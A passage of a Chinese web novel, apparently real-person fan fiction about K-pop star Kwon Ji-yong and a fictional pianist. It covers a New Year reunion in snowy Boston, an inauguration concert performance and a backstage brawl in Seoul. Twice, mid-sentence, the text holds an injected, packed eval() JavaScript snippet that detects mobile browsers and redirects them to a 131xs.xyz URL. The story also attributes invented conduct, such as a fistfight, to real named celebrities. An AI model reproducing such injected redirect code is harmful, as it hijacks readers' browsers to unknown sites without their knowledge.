难以言喻的滚烫情绪猛地冲上她的喉咙和眼眶,堵得她一时说不出话,握着手机的指尖也在微微发颤。 下一秒,李艺率几乎是条件反射般地转身。 忘了挂断电话,也忘了肩上滑落的羊绒披肩,甚至没来得及换鞋,踩着毛绒拖鞋就冲出了公寓门。 电梯的指示灯缓慢地从一楼开始向上跳动,每一层都仿佛过了一个世纪那么漫长。她焦躁地按了好几下下行按钮,明知无用,却无法抑制心里莫名的急切。 电话那头的权至龙似乎听到了她这边急促的呼吸和电梯运行的微弱声响。 他轻笑了起来,风声将他的笑声揉得有些破碎,却带着显而易见的暖意:“呀,你别急啊,我又不会跑掉的……外面很冷,你多穿点再下来……” 他的叮嘱被她打断。 李艺率对着依旧贴在耳边的手机,带着一丝连自己都未察觉的颤抖,朝着话筒那头喊了一声: “闭嘴!” “哦。” 电话那头他又轻笑着应了一句,甚至连李艺率也说不清他为什么这么高兴。 * 电梯叮地一声终于到达。 轿厢门刚一开,她便冲了进去,按向关门键和一楼按键。 李艺率穿过温暖空旷的大厅,推开公寓楼下那扇沉重的雕花木门,义无反顾奔向被凛冽的风雪包裹着的寂静夜里—— 她第一眼就看到了那个依旧站在地铁口旁路灯下的身影。 他背着双肩包,裹着厚厚的羽绒服,脸上是十几个小时的疲惫和转折,手捧着一束被雪映得格外艳丽的玫瑰,隔着纷飞的雪花,微笑着望着她。 李艺率没有任何犹豫,踩着已经浸湿的拖鞋,径直飞奔过公寓楼前那片薄薄积雪的空地,跑向这个在新年夜里为她跨越了半个地球的笨蛋。 雪花落在她的头发上、睫毛上,凛冽的夜风刮过她的脸颊,但她却感觉不到丝毫疼痛,胸腔里被一种滚烫而充盈的情绪填满,驱使着她不断加快脚步。 她在权至龙面前猛地停住,微微喘着气,抬起头看着他。 他外套的帽檐和肩头都落满了雪,鼻尖和脸颊被冻得泛红,但那双看着她的眼睛却亮得惊人,盛满了笑意。 “怎么没穿外套就跑下来了?” 他笑着朝她伸出双臂,手中那捧红得耀眼的玫瑰在雪夜里如同炽热的火焰。他的声音带着放松下来的温柔,真切地传到了她的耳边: “抱一下好不好?” 李艺率没有回答。 她只是猛地向前一步,几乎是扎进了他敞开的怀抱里。 冰凉的脸颊埋进他带着寒意与淡淡香水味的羽绒服肩窝,权至龙也在同一时刻收紧了手臂,将那束玫瑰小心地护在两人身侧,用扎实的拥抱将她彻底包裹。 冰冷的外套面料摩擦着她的脸颊。 隔着一层衣物,他胸膛的温度和心跳却无比清晰地传递过来,敲打着她的耳膜,与她的心跳渐渐重合。 风声也在此刻为他们静止了。 寒意在这一刻失去了效力,被这个跨越重洋的拥抱驱散,只剩下彼此体温交融后令人晕眩的温暖。 雪花依旧纷纷扬扬落下。 当——当——当—— 明明隔着几百公里,透过波士顿静谧的雪夜,李艺率却听见隐隐约约传来的纽约时代广场模糊而庄严的新年钟声。 在旧岁的终结,在新年的降临—— 她闭上眼睛,将脸埋在他的肩上,放任身体的重量交付于他。 权至龙轻轻将下巴抵在她的头顶,鼻间尽是她发丝间的香气。他们交换着彼此的体温,又通过呼吸将更湿热的温度传递封存进彼此的怀抱里。 十几个小时的奔波和满身的积雪都在这一刻显得微不足道了起来。 他们在新年的钟声里,在空旷无人的街道上,在雪光映照的路灯下,跌跌撞撞地相拥着,像两棵交缠依偎着抵御风雪的树。 过了好一会儿,权至龙才听见李艺率在他怀里,埋在他肩窝而显得有些模糊的声音。 “为什么会过来?” 他闭着眼,几乎能想象到她此刻的表情——鼻尖微皱,脸被冻得通红,雪花落在睫毛上微微颤动。 一定很可爱。 可权至龙并没有松开双手,只是微微侧过脸去碰了碰她柔软又冰冷的侧脸。这是一个格外亲昵的,不带有任何情欲,只剩下满心怜爱又珍视的碰触。 李艺率听见他带着轻笑的气声温热地拂过她的耳畔,像最柔软的羽毛,搔刮着她的心尖: “我想和你一起看新年的第一场雪。” 他的声音低沉而温柔,带着十几个小时飞行的疲惫,却像是被雪水洗过一般,更盛满无比确信的温情: “新年快乐啊,艺率。” 他的声音好轻好轻,几乎被风雪吞没。 却又带着一种被妥善安放了的,沉甸甸的安心,清晰地落入了李艺率的耳边。 “砰——!” 一声无声的轰鸣悍然炸开。 真奇怪。 明明是静谧的雪夜,为什么她的眼前出现了赤金靛蓝的绚烂焰火呢? 是时代广场的新年焰火在零点准时绽放了吗? 她不知道,也懒得再去细细思考这样细枝末节的问题了。 她只是轻轻地嗯了一声,随即将脸更深地埋在他的怀抱。 雪依旧簌簌下落着,他们在这样略显寂寥的雪夜相拥,悄悄在心里描摹着彼此的眉眼。 被他这样抱着,哪怕没有穿外套也不觉得冷了。 李艺率这样想着,又郑重地将这一刻的心跳和呼吸,镌刻进恒久的时间里。 46.再抱紧一点 就像所有假期归家的孩子,刚回家的那几天总会享受无微不至的关怀和体贴,然而过不了多久就会因为差劲的生活习惯惹得母亲厌烦一样……李艺率也陷入到了这种困境当中,只不过她是因为自己糟糕的生活习惯被权至龙揪住以后感到厌烦,且她的“蜜月期”远比各位妈妈们要短上许多,甚至只有一个晚上。 好好睡了一觉后终于驱散了十几个小时劳顿的疲惫,权至龙洗漱完毕后趁着李艺率早上在琴房练琴的功夫,顺手帮忙收拾了一下屋子,顺便巡视一下阔别一年多的公寓是否多了些陌生的气息—— 别误会,这个时期的权至龙虽然在人际交往中边界感并不算强,但他也并不是那种会擅自侵犯私人领域的性格。 大概是此前在这间公寓生活了半个多月,以及当时李艺率用一副满不在意的口吻说出了“在这里想干嘛想用什么都可以我没有什么秘密”这样的话,才让那时的他不至于感受到某种类似于寄人篱下的战战兢兢。 她说她对我没有秘密哎! 权至龙又回想起当时的场景,忍不住美滋滋地冒泡。 说是帮忙收拾房间,实际上李艺率的日常生活都有专门的家政小姐负责清洗打扫,家里其实非常干净。 权至龙将沙发茶几上随手乱扔的漫画和杂志归类整齐,又顺手把昨天晚上她喝了两口的马克杯清洗干净,看着这间房子在他离开的时候没有多出什么令他警惕的物件,终于满意地点了点头。 还不到中午,但考虑到李艺率一大早弹几个小时琴对体力消耗很大,不如就趁着这个空闲搞一顿简单时髦的brunch吧! 虽然在宿舍他负责打扫卫生,关于厨房技巧堪称一窍不通,但是权至龙还是颇为自信地打开了冰箱,然后就看到了令他震惊的画面—— 正常人家的冰箱会空成这个样子吗? 冷藏室里只有两瓶冰水,一盒酸奶盒大小的芝士,一盒蓝莓和一盒芝麻菜叶子。 假期学校食堂已经关闭了,家里的垃圾桶里也没有外卖的包装盒,李艺率甚至不是会在外就餐的性格……所以,这家伙平时都是吃些什么维持生命体征的啊?! 对此,李艺率给出了相当明确的解决方案。 她从橱柜里拿出两片苏打饼干,沾一勺茅屋芝士,又从冰箱里抓了一把蓝莓和一小把芝麻菜振振有词:“碳水蛋白质膳食纤维和维生素这不就都齐了吗!” 权至龙:“…………” 让你这家伙吃些正经饭是真的很难啊! 权至龙扶额叹息:“所以你放假这一个多月都是这么过来的吗?难怪这次见你总感觉又瘦了很多啊!” 李艺率耸耸肩,语气颇为遗憾:“去年冬假回去体检的时候又瘦了,爸爸就找了一位专门负责饮食的家政太太……” 其实这位善良的家政太太在请假前特地搭配好了足够多的食物,也烤好了面包放在冷冻室里,这些口粮绝对足够撑到她度假回来——前提是李艺率本人愿意吃的话。 她解释了平时里会提前采购新鲜食物准备饭菜的家政太太在新年和家人房车旅行请假了,随即叹了一口气,小发雷霆道: “本来以为一个人住就不用被盯着吃饭了……爸爸真的很讨厌,我一点都感觉不到自由!” 权至龙:“………………” 做得好啊伯父大人!就应该这样好好治治这个小混蛋! * 这一次的假期并没有上一次长,权至龙只呆了将近一周便打算离开波士顿。 这其中有他即将在下半年推出首张个人SOLO专辑的原因,上半年还有大量的筹备工作需要准备。此外,这几天还有一件大事—— 李艺率被邀请成为本届总统就职音乐会的嘉宾,即将在特区的林肯纪念堂进行全球直播性质的表演。 这是一件多么值得感叹且发自内心激动自豪的事情啊! 权至龙对李艺率脸上一副大惊小怪的表情再次感到了痛心疾首。 这其实也并不怪权至龙少见多怪。 在现代美军殖民地南韩长大的这一代人,骨子里大多会对欧美西方国家抱有一种天然的敬畏。相比起从小生活在欧洲,对白左自由民主的论调习以为常且早早祛魅的李艺率来说,权至龙当下的心态也符合大部分南韩网友此时的心态。 身边熟悉的朋友和同事在听说了这件事以后都加入了感叹和讨论,甚至连一向听到李艺率名字就露出一副牙疼过敏表情的梁锡硕也特地打电话给权至龙求证。 07年时她在国际赛事上取得荣誉已经让国内纸媒大书特书了一番。 这次的受邀更是让韩国文/化/部提前打来电话确认,直到确定李艺率会以独立艺术家的身份参与本次的就职典礼音乐会后,大肆渲染起了这位“大韩民国的骄傲”。 国内的纸媒也纷纷在文化板块刊登了大规模报道,标题就极尽赞誉之能事,详细介绍了此次表演的历史意义和全球影响力,甚至将李艺率的受邀拔高到国家荣誉的层面。 她的家世背景、此前的成长经历、哈佛学霸身份、首张唱片的大满贯荣誉和格莱美获奖光环被再一次提及,几乎要把她塑造成一个完美无瑕的“国宝级”形象。 网络上的反响空前热烈,仿佛全国都陷入了与有荣焉的热烈氛围之中,权至龙这几天没事的时候就坐在电脑前面刷着国内门户网站上的留言,看着国民们对李艺率的赞誉之词笑得见牙不见眼。 ……换个角度来说,在韩流抢占日本唱片市场的当下,她也是在另一种意义上的闯美成功了。 而对于权至龙主动要求一起跟着去特区的决定,李艺率则是颇感无奈。 李艺率:“跟着去也不一定能到现场啊,难得的假期,还要特地飞一趟难道不累吗?” 权至龙:“但这可是你人生中最重要的一场演出啊,我怎么可以不陪在你身边?!” “哪一次演出都很重要!为总统演奏和为普通人演奏又有什么不同?身为一个音乐人,难道会因为听众身份的差异而区别对待吗!” 闻言李艺率挑了挑眉,露出狭隘的表情:“小权,你这家伙,该不会一直抱有这种想法吧……哇,这真是……” 她摇头啧啧两声,做出一副欲言又止的姿态,差点让权至龙急得炸毛。 权至龙:“你明明知道我不是这个意思!” 他看着李艺率一副恶作剧成功的表情,气得直翻白眼。 想到之前他在网上点赞的,网友们对李艺率肉麻至极的溢美之情,深感委屈的同时忍不住又恨恨地想着:这帮网友对李艺率的滤镜真的太厚了吧!他们压根就不知道李艺率生活里的恶劣性格到底有多让人牙痒! 最后权至龙还是跟着一起飞到了特区。 就职典礼这样一个政治场合,非本国公民的权至龙自然没能购票进入现场观看音乐会,不过这段时间陪着李艺率舞台排练的过程中,他倒是也结识了一帮欧美主流音乐圈的人脉,见识到了国际舞台上专业团队的制作流程,也算是意外之喜了。 * 华盛顿特区寒意凛冽,但林肯纪念堂前却仍洋溢着热烈气氛。 巨大的台阶上,临时搭建的舞台背对着林肯总统的雕像,俯瞰着反射池和国家广场,视野开阔而庄严。 尽管天气寒冷,但广场上依旧聚集了数以万计的民众,热情似乎也驱散了部分严寒。 李艺率身着一袭优雅简约的长袖衬衫、深蓝色长裙,妆容清淡。她与另外三名音乐家一同走上舞台,在镜头的聚焦下眼神沉静专注。 他们此次的表演是室内乐四重奏——一钢琴、一小提琴、一大提琴和一单簧管,在节目单被公开以后,也被媒体称为“总统四重奏”。 这次他们挑选的曲目,选择了美国作曲家科普兰的经典之作——《阿帕拉契亚之春》组曲中的精华段落,改编为室内乐四重奏版本,呼应了“希望与重生”的主题。 科普兰的音乐以开阔的旋律、清晰的和声和质朴中崇高的“美国精神”而著称,这部作品本身描绘了拓荒时期春天的到来和新生活的开始,与眼下的时节与情境倒也算得上是契合。 镜头推近,定格在李艺率置于琴键上的双手。 特写之下,她那纤细修长的手指显得矜贵且充满表现力。 单簧管吹奏出宁静的序奏旋律,如同阿帕拉契亚山区清晨的空气,清新沁人。 随后,李艺率的钢琴声部加入,她的触键清晰轻盈,高音区的音符如露珠般晶莹剔透,悠悠地营造出科普兰笔下宁静、节奏轻快的春日晨光景象。 进入著名的震教派歌曲《简单的礼物》变奏部分时,旋律先由大提琴深沉而温暖地吟唱而出,小提琴随后加入交织。 李艺率的钢琴提供了流动的和声基础,触键也变得更为温暖饱满。低音区丰厚,中声部的和弦进行平稳又充满支撑力,为旋律铺就温暖的烘托。 她的音色在这一部分展现出极大的包容性。 既能与大提琴产生深沉共鸣,又能与小提琴的明亮歌唱相得益彰,毫不喧宾夺主,却又是整个结构不可或缺的一部分。单簧管以清澈的音色点缀其间,仿佛潺潺的溪流,与风中共舞的草木彼此呼应。 舞台上的四人配合默契,音乐在他们的指尖自然流淌,将科普兰那份朴素的宏大与希望悄然传递给了每一位听众。 在节奏更为活泼、描绘拓荒者舞蹈的乐段中,李艺率的指尖爆发出极致的活力与节奏感。 触键变得果断,富有弹性,精准的断奏和跳跃的和弦带来了质朴的欢愉感。她与单簧管灵动的跑句,与小提琴跳跃的弓法默契呼应,四件乐器在此刻仿佛融为一体,共同呼吸。 因着精致出众的容貌和钢琴绝对的器乐之王地位,直播的镜头多次给予她特写,捕捉着她演奏时沉静而姣好的面容,以及那双在黑白琴键上勾勒出灵动音符的双手。 宁静而充满希望的尾声中,最后一个音符如同春日夕阳下的薄雾,温柔地萦绕在纪念堂的柱廊之间,缓缓消散。 短暂的寂静后,林肯纪念堂前爆发出热烈而持久的掌声。李艺率起身,与三位演奏家同伴贴面拥抱,又面朝观众席鞠躬。 虽然面上带着淡淡的笑意,装出一副若无其事的模样,在镜头前表现得优雅得体,但身体却早已悄悄发出了尖锐的抗议。 寒风扫过,冷意刺骨。 冬日的严寒对于普通人来说已经是难熬,更别提对于李艺率这样患有中枢敏化症,神经系统长期处于异常放大状态,对于气温变化极度苛刻的身体。 事实上从手指接触冰冷琴键的那一刻起,深彻骨髓的疼痛就已经悄然蔓延,身体内部也爆发出了被异常放大的痛苦的信号。 寒意仿佛变成了实体,钻入她的肩胛。 每一次抬手,每一次落指,肌肉在低温状态下的颤抖,都让她必须用全部意志去压制这种生理性的反应,去对抗那汹涌而至的疼痛和僵硬,以确保演奏的稳定和音色的纯净。 短短几分钟的演出,几乎抽干了她全部的气力。 所以说这个世界真的对女性很不公平! 李艺率看着三位搭档的男性演奏家穿着厚厚的三件套,甚至不敢想象燕尾服底下的保暖措施可以做得有多么充足。反观自己必须要在零下的气温中穿着单薄的衬衫,难免发出了对这个世界的憎恨。 可恶,世人究竟什么时候才能只关注女人的作品而非在外貌穿着上有过多苛责! 因为想要穿得厚厚暖暖的上场演奏,被导演组拒绝后还擅自被搭配了一套漂亮的露肩礼服,尽管最后据理力争换成了长袖衬衫,但李艺率还是在心里颇为记仇地这样想到。 * 虽然不能以观众的身份出席音乐会,但依托李艺率表演的便利,权至龙还是拿到了一张工作证并在侧幕的媒体席位有了自己的位置。 对于李艺率的这一点权至龙实际上是非常佩服的—— 这家伙真的是他迄今为止见过最坚持自我主见的人! 按照成年人正常的社交逻辑来说,一些会带来的麻烦和请求大家总是会尽可能的避免。 虽然李艺率的确是个在社交上极度被动的人,在陌生人面前鲜少开口,但这家伙在个人的喜好和需求的表达上实在是太强也太过自我了。 ……这就导致了,几天前彩排的间隙,权至龙围观了一场李艺率与导演组就‘为什么女性音乐家必须要穿礼服’的话题展开激烈的辩论,甚至发出了类似“你又不是我,你根本做不到感同身受”、“别人这么都穿我就也得必须跟着妥协吗”、“我自己的需求才是最重要的”等振聋发聩的声音。 权至龙:………… 他眼睁睁看着她与导演组据理力争,推掉了那件精心准备的漂亮礼服,甚至最后以一种做出极大妥协让步的姿态,不仅换上了自己准备的加厚长裙和衬衫,甚至还帮他弄到了唯一一张外籍人员身份的媒体席位证。 说真的,身为一名艺人,权至龙对于在极端气温下穿着不合时宜的演出服装这件事实在是习以为常了。 因此对于李艺率这样在他看来称得上是有些胡搅蛮缠的举动权至龙实际上是不理解甚至感到无奈的。 这大概也是南韩的演艺圈环境与欧美大相径庭,在演出安排上处于相对底层的艺人很难在这类事情上拥有太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334647|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多话语权,甚至稍微有点个人主见都会被视为是对前辈不敬的‘大逆不道’表现。 事后权至龙也曾私下拉着李艺率好好复盘了这件事——这其实完全出于他的好心,可却只换来了李艺率的嗤笑: “果然,人一到群体中去就会智商降低。个体为了获得认同甘愿抛弃是非和自我,仅仅是为了获取归属感。” 权至龙:“…………” 真有到这种地步吗?你说得未免也太夸张了吧!上升到这种高度也就算了,为什么还要踩他一脚?! 李艺率:“不是这样吗?零下五六度的天气穿这么薄的礼服,难道这算得上是正常人会做的事情吗?” 闻言他讷讷张着嘴,好半天才挤出一句话:“可艺人赚的钱里面不就包含了这些东西吗?” “可这次演出我压根就没拿一分演出费!” 听到他的回答,李艺率更是插着腰理直气壮地反驳道: “先不提报酬的事情。换个角度来说,就算是有报酬,在这样大家穿着羽绒服都冷得发抖的室外,让表演人员穿这样单薄的衣服也是一种很不人道主义的事情吧?甚至都已经算得上是虐待了!” 权至龙:“…………” 他一时语塞,理智上总觉得有哪里不对,可脑子已经深刻认同了她的观点。 因此他隔了好一会,才压低声音道:“……那你起码也要稍微注意一点说话的方式吧,说得这么直接会让大家很难堪……你就不在乎别人对你的看法吗?” “我明明只是提出自己的需求,根本没有骂人!还很有礼貌地用了请求和谢谢!”李艺率闻言大为不可置信。 权至龙:“但是听起来很阴阳怪气。” “嘁,”李艺率撇了撇嘴,见权至龙实在是一副为她着想的模样,才稍微收敛了点语气,“小权,你觉得一个完整的成年人是怎么样的?” 闻言,权至龙沉默了几秒,像是组织好语言才试探性地开口:“有自己的个人成就,独立不依附于他人……有健全的价值观念?” 李艺率:“听起来好笼统。” 权至龙无奈扶额:“那我倒想听听你的观点有多么深刻。” 她摇摇头,将身体往排练厅角落的墙壁上一靠,叉着双手发出悠悠的感叹:“我也不知道哎,说实话人这种复杂的生物怎么可能只用短短几句话就可以概括清楚呢。” 权至龙:“…………” 这不是你先提起这个话题的吗! “这个世界上有那种看上去对朋友慷慨大方却对家人吝啬苛刻的人,也有那种看上去是反社会人格的天生坏种但为了救人付出自己生命的人,”她顿了顿,眼神若有所思地凝固在眼前空荡荡的一侧墙角: “如果只是为了迎合其他人的看法,我就必须要剔除那些在他人看来不够好的部分,那我还是一个完整的人吗?” 她转过头,直视着权至龙若有所思的眼睛:“或者说,仅仅因为他人的注视就必须要改变自我,甚至遭受切肤之痛,真的有这个必要吗?” 李艺率知道,她无礼直接,任性叛逆,自私自我,仗着优渥的家世自视甚高,从不在意他人的看法,也很难做到真正感同身受地体谅陌生人——可那又怎么样呢? 就像硬币有正反两面,这些都是她血肉里的一部分。 与其刻意剥离这些糟糕的特质去做一个完美的人,倒不如以一个糟糕却完整的模样肆意活下去。 不,不是的。 权至龙注视着她的侧脸,在心里悄悄地说到。 他见过她恶作剧得逞时绽开的眉眼,见过她装模做样的清高,见过她生气时把自己气成圆乎乎的小河豚; 她在偶尔展露出伤心时的眉眼低垂让人格外觉得怜惜,电量耗尽时变成一滩烂泥嘴里发出软绵绵的声音也很可爱,就连盯着电视剧一副吃饭困难的模样也实在叫人生不起气来。 正是因为张牙舞爪生长着的带刺枝桠,才勾勒出这样独一无二的棱角。 实在是很难想象培育她的园丁当初究竟灌注了多少爱才让她长成如今这样肆意快活的模样。 这个世界上怎么会有这么鲜活又生动的家伙呢? 他这样想着,又忍不住轻笑一声: “听起来的确很有道理呢。这么说起来……实际上我也并不是一个完美的偶像。” 权至龙想到出道两年多以来遭受的争议和批判,声音低沉又温和地说到:“看来我也得学着接受被其他人讨厌这件事才行啊。” * 李艺率从露天舞台走向休息室方向时牙齿还在止不住地颤抖。 短短十几分钟,她裸露在外的皮肤就已经泛起不正常的绯色,嘴唇是擦了唇膏都掩饰不了的干涩苍白,呼吸也带着茫茫寒气。 刚转入通往休息室的通道,远离了广场上喧嚣的人声和镜头,一个身影便迅速迎了上来。 权至龙眉头紧锁。 他手里攥着她放在后台的羽绒服,一见她出现,几乎是冲上前去,二话不说便将外套展开,严严实实地裹住了几乎要冻僵的李艺率。 见他上前,李艺率几乎是本能地向前倾靠,整个人险些栽进他怀里,又顺势被他搂住,挡下了过道旁的穿堂风。 感知到热源,李艺率被冻得失去知觉的手指几乎是本能地,带着急切地从他敞开的外套边缘探进去,环抱住他温热结实的腰身,贪婪地汲取着他隔着衣物从皮肤上传来的暖意。 这都冻成什么样了啊…… 权至龙见她被裹得严严实实后仍是没缓过来地止不住颤抖,听到她牙齿打颤发出咯吱咯吱的声响,只感到心都被揪紧了。 铁打的人也受不了这样啊,更何况他的艺率身体这样瘦弱。 心里头那股子原先对李艺率‘胡搅蛮缠’的无奈早就烟消云散,心里也忍不住开始埋怨起了节目组的不讲人情,甚至和李艺率一样,对世人评判女性的苛刻眼光也感到感同身受起来。 他低下头,脸颊紧紧贴住她冻得冰凉的侧脸和耳朵,用自己的温度让她慢慢回温,声音低沉又怜惜: “还好吗?” “一点都不好!” 李艺率缩在他怀里不受控制地细微颤抖,声音闷闷的:“冷死了!” 说着,仿佛是为了证明她一点也不好,李艺率又用力地往他怀里缩了缩,环在他腰后的手臂收得更紧,恨不得将自己整个人都嵌进他的体温里: “再抱紧一点!” 她发出了理直气壮的声音。 ……听起来还是很有精神嘛。 闻言,权至龙失笑,轻轻收紧了手臂,将她更紧密地搂进了怀里。 47.首尔大战(上) 年中暑假的时候李艺率回了一趟韩国。 这次由韩国文/化/部牵头举办的亚洲音乐盛典活动,大概是为了宣传韩流文化,因此邀请了许多当红的韩流艺人组合,李艺率作为刚为‘宗主国大统领’演奏过的“大韩民国的骄傲”,也受邀以嘉宾的身份参加了这次活动。 推开YG休息室的时候权至龙正坐在化妆镜前闭着眼任由Cody在他脸上涂抹。 李艺率对坐在休息室里的其他艺人挑挑眉,蹑手蹑脚地绕到权至龙背后,猫着腰,笑嘻嘻伸手在他的耳垂上轻轻一掐—— 然后就一把被抓住了恶作剧的手。 权至龙依旧闭着眼睫毛颤抖,嘴角却已经翘了起来,“呀,干嘛呢。” 李艺率推开门的时候甚至没发出任何动静,权至龙也并没有睁眼,可他却像是有第六感似的,一下子就抓住了恶作剧的坏蛋。 李艺率:“为什么一下子就发现了?你刚刚是不是偷偷睁开眼睛看了!” 权至龙:“除了你还会有谁这么恶趣味啊?!” 他嘴上虽是在抱怨,但睁开眼睛透过镜子看向她的眼神却很温柔。 大概是出道时间渐长,他越来越习惯舞台也渐渐适应了当红艺人的身份,眉梢眼角逐渐锐利,早早脱去了高中时期少年好脾气的少年外形。 可他看向李艺率时,总是下意识模糊意气风发的锋利轮廓,眼睛是和从前一样的清亮。 他工作的时候真的和私下里看到的样子差别好大啊,有时在镜头前看到他的样子,李艺率也会感到恍惚。 这样站在他身后猫着腰的姿势很别扭,她索性站起身走到他面前,低头细细打量他逐渐长开的侧脸。 权至龙顺势放开抓着的手,直到她在身边站定以后,又一把抓过她的手腕放在手心摩挲,仰着脸看向李艺率,任由Cody描摹他的眉毛。 比起以往仗着一张好面孔素着脸上台弹奏,今天穿了裙子化了淡妆,看起来格外娇艳的李艺率算得上盛装出席。 权至龙的目光在她脸上留连了好一会,才笑着问道:“谁给你化的妆?” 李艺率:“姑姑帮我找的造型师团队,裙子和配饰也是他们帮忙选的。” 说着,她撩着裙摆冲他挑挑眉:“好看吗?” 高饱和度的墨绿色裙摆泛着绸缎光泽,剪裁得体的腰身更衬得她纤细高挑,肤白如雪发丝如墨。 目光在她颈间圆润的珍珠项链上停留片刻,又不经意扫过她空荡荡的耳垂,权至龙淡笑着轻轻“嗯”了一声,笑意加深,“很适合你。” 说着,又轻轻捏了捏李艺率的手腕。 两人间的距离隔得不算近,动作在李艺率看来也算不得有什么暧昧。 大概是因为被权至龙这样没有边界感的偷袭次数太多了,李艺率甚至已经习惯了他突如其来的亲昵举动。 可她不知道的是,他们这样的互动,在旁人眼里就看起来有些微妙了。 休息室的另一边,SEVEN和几名这次一起出席活动的艺人悄无声息地打量着眼前这一幕。 SEVEN推了推永裴,凑到耳边低声问道:“至龙的女亲?” 为什么大家总是默认他对权至龙的感情生活非常了解啊? 东永裴感受着耳边的气音,再次为大家的误解悄悄翻了个白眼,同样回以气音:“……应该还不是。” “哦莫,原来你也不知道吗,”SEVEN悄悄睁大眼,故作夸张地叹了一口气,“还以为以这龙那小子的性格肯定会忍不住到处说呢。” 东永裴:“…………” 有的哥,有的。 是不是女亲他不知道,但要说起权至龙的大嘴巴,东永裴可太有话聊了! * 作为嘉宾,李艺率在舞台开场前进行了几分钟的简单发言,下台归还话筒以后婉拒了节目组提前安排好的前排观众任务。 溜咯! 只为了短短分钟又是做美容又是弄头发忙活一早上真的很浪费时间啊! 早知道就不来了。 李艺率穿过后台通道,准备回到YG的待机室拿上小包包给司机发信息来接,然后就在通道里听到了一阵骚动—— “十年了!已经十年了……” 走廊围着一大帮人,媒体和安保人员远远围着属于S/M公司待机室的门口,探着头往里打量,嘴上悄悄议论着些什么。 下一刻,休息室里面响起了不甘示弱的大嗓门: “呀!你小子想要干什么?冷静点!” “啊啊啊!哥——!好好说话别动手啊!!” “…………” 紧接着休息室门口的人群骤然安静了一瞬,随即又匆匆散开,一名染着头发的年轻艺人拉着另一名艺人从休息室门口走了出来,将休息室的大门往外一拽,发出摔门的巨响。 为了避免劝架时发生群体肢体冲突,朴正殊拉着金希彻从快步将人拽到了走廊,脸上还带着明显的怒意,眉毛紧皱着,掐着金希彻的衣领,两人便推搡了起来。 刚刚被摔上的休息室大门又被推开,室长和工作人员看着矛盾的中心,一副想拦又不敢拦的模样,只好匆匆驱赶围观的媒体,组织安保人员去劝架控制场面,而SUJU的成员们则猫在一旁堂皇地看着两个吵架的哥哥。 也有其他艺人悄悄探出头打量,场面几乎要乱成一团。 然而人群中央的两人仍然双手掐着衣领,二人转一般在休息室走廊对峙着,丝毫不肯退让。 金希彻:“你以为只有你一个人有不满吗?要打架是吧?好啊,来啊!” 这番态度彻底激怒了朴正殊。 他的脸上染上了愤怒的红色,眼神凌厉,咬着牙的表情看上去也有些狰狞。 也不知道是哪来的力气,他双手反搅松开金希彻的衣领,一把挣脱开了在背后拉着他手的安保人员,顺势将外套一脱扔在地上,做出一副要大干一架的架势。 从人群缝隙里看到这一幕的李艺率:“…………” 冲突刚发生的时候她听着争吵的声音还没反应过来,直到从人群缝隙里看到那张颇让自己感到印象深刻的脸才回过神,也跟着露出了惊讶的神情。 打架就打架,为什么要脱衣服?这是要向对手展示自己的健身成果吗?! 本以为只是路过一场演艺圈常见的冲突,却没想到反倒是远离人群,站在最边缘等风波过去的李艺率成了这场冲突最直接的受害人—— 因为朴正殊突如其来的动作,他身后的安保们被甩开得猝不及防,踉踉跄跄地后退两步,连带着围观的人群看到这样的画面也下意识地后退闪躲。 原本在最边缘位置的李艺率眼见前面的人要撞上自己,本能地做出躲闪动作。 她今天穿了一双漂亮的细跟凉鞋,是造型团队在出门前为她精心搭配的,却在此时成为了她最大的累赘。 她脚下一崴,还没来得及痛呼出声,身体便失去平衡往墙壁重重一撞。 李艺率下意识侧着身用手撑住墙壁,后脑后背的剧痛让她眼前一黑,甚至来不及扶稳身体,细鞋跟便在地面发出一声脆响—— 紧接着她就顺着惯性哐叽一下,以一个后脑着地的姿势仰面重重砸在了地上。 “啊!” 她蜷缩着弓起身体搂着像要裂开一样的后脑,发出一声痛呼,倒吸凉气失去意识。 “呀,别打了!有人被你们打晕了啊!” 外圈的记者发出惊慌的声音,而冲突漩涡最中心的朴正殊和金希彻这才注意到角落里闭着眼睛蜷缩着颤抖的身影。 朴正殊:“…………” 金希彻:“…………” 两人双双愣住,眼里只剩下了惊愕和堂皇。 他们眼睁睁看着此时距离他们整整十多个身位还远不止的李艺率,甚至一下子都回不过神。 啊?谁动的手? 我们吗? * 冲突发生的时候YG休息室里的艺人们交换着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338616|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色,围在休息室门口角落里听着外头的动静。 外头传来急促的脚步声。 紧接着踱步声,怒吼声,劝阻的声音,慌张驱赶镜头的声音响起,乱作一团。 权至龙压低了声音感叹:“是SUJU的哥们吧?呀……好可怕。” 这一刻他还是一副束手围观的姿态,直到外面传来一声微弱的痛呼—— 紧接着响起了有人被打晕的慌张喊声,外头的动静瞬间安静下来。 权至龙心里升起不妙的预感,想到刚刚通过电视直播看到李艺率发言结束走下舞台,心慌的感觉愈发强烈。 他猛地拧开门把手推开门,站在他们休息室门口的朴正殊和金希彻两人还维持着对峙的姿势满脸惊愕。顺着他们的目光,权至龙一眼就看到了十多米开外的角落里,被满脸不安的人群围着踌躇地不敢动作的,蜷缩着的墨绿色身影。 “艺率——!” 他大脑一片空白,身体下意识地冲上前去,一把推开人群,颤抖着伸手去扶李艺率的肩膀。 